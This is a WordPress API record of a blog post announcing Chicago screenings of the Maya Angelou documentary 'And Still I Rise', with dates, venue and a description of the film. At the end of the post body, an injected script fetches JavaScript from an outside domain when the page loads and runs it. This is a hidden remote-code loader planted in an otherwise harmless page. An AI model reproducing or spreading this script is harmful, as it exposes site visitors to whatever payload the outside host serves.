{"id":4382,"date":"2017-03-07T17:22:50","date_gmt":"2017-03-07T23:22:50","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=4382"},"modified":"2025-06-03T00:29:27","modified_gmt":"2025-06-03T05:29:27","slug":"march-17-maya-angelou-and-still-i-rise","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2017\/03\/07\/march-17-maya-angelou-and-still-i-rise\/","title":{"rendered":"March 17, MAYA ANGELOU: AND STILL I RISE"},"content":{"rendered":"<p>March 17th-24th<br \/>\nStudio Movie Grill Chatham<br \/>\n210 W 87th St, Chicago<br \/>\nFREE PARKING<\/p>\n<p>MAYA ANGELOU: AND STILL I RISE USA, 2016, 114 min<br \/>\nDirectors: Rita Coburn Whack &amp; Bob Hercules<\/p>\n<p>This is the first film to be made about the incomparable Maya Angelou. The film presents her incredible journey,\u00a0shedding light on the untold aspects of her life with remarkable unmatched access. \u00a0 This\u00a0intimate and personal portrait of Dr. Maya Angelou\u2019s life is a touching and moving tribute to her legacy.<\/p>\n<p>Distinctly referred to as \u201ca redwood tree, with deep roots in American culture,\u201d Maya Angelou gave people the freedom to think about their history in a way they never had before. Dr. Angelou\u2019s was a prolific life; as a singer, dancer, activist, poet, and writer she inspired generations with lyrical modern African-American thought that pushed boundaries.<\/p>\n<p>This unprecedented film weaves her words with rare and intimate archival photographs and videos, which paint hidden moments of her exuberant life during some of America\u2019s most defining moments. From her upbringing in the Depression-era South to her work with Malcolm X in Ghana to her inaugural poem for President Bill Clinton, the film takes us on an incredible journey through the life of a true American icon.<\/p>\n<p>The film also features a remarkable series of interviews with friends and family including President Bill Clinton, Oprah Winfrey, Common, Alfre Woodard, Cicely Tyson, Quincy Jones, Secretary of State Hillary Clinton, John Singleton and Dr. Angelou\u2019s son, Guy Johnson.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>March 17th-24th Studio Movie Grill Chatham 210 W 87th St, Chicago FREE PARKING MAYA ANGELOU: AND STILL I RISE USA, 2016, 114 min Directors: Rita Coburn Whack &amp; Bob Hercules This is the first film to be made about the incomparable Maya Angelou. The film presents her incredible journey,\u00a0shedding light on the untold aspects of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4362,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[8,3],"tags":[],"class_list":["post-4382","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-future_programming","category-monthly-screenings-at-chatham-14"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/4382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=4382"}],"version-history":[{"count":2,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/4382\/revisions"}],"predecessor-version":[{"id":7529,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/4382\/revisions\/7529"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/4362"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=4382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=4382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=4382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}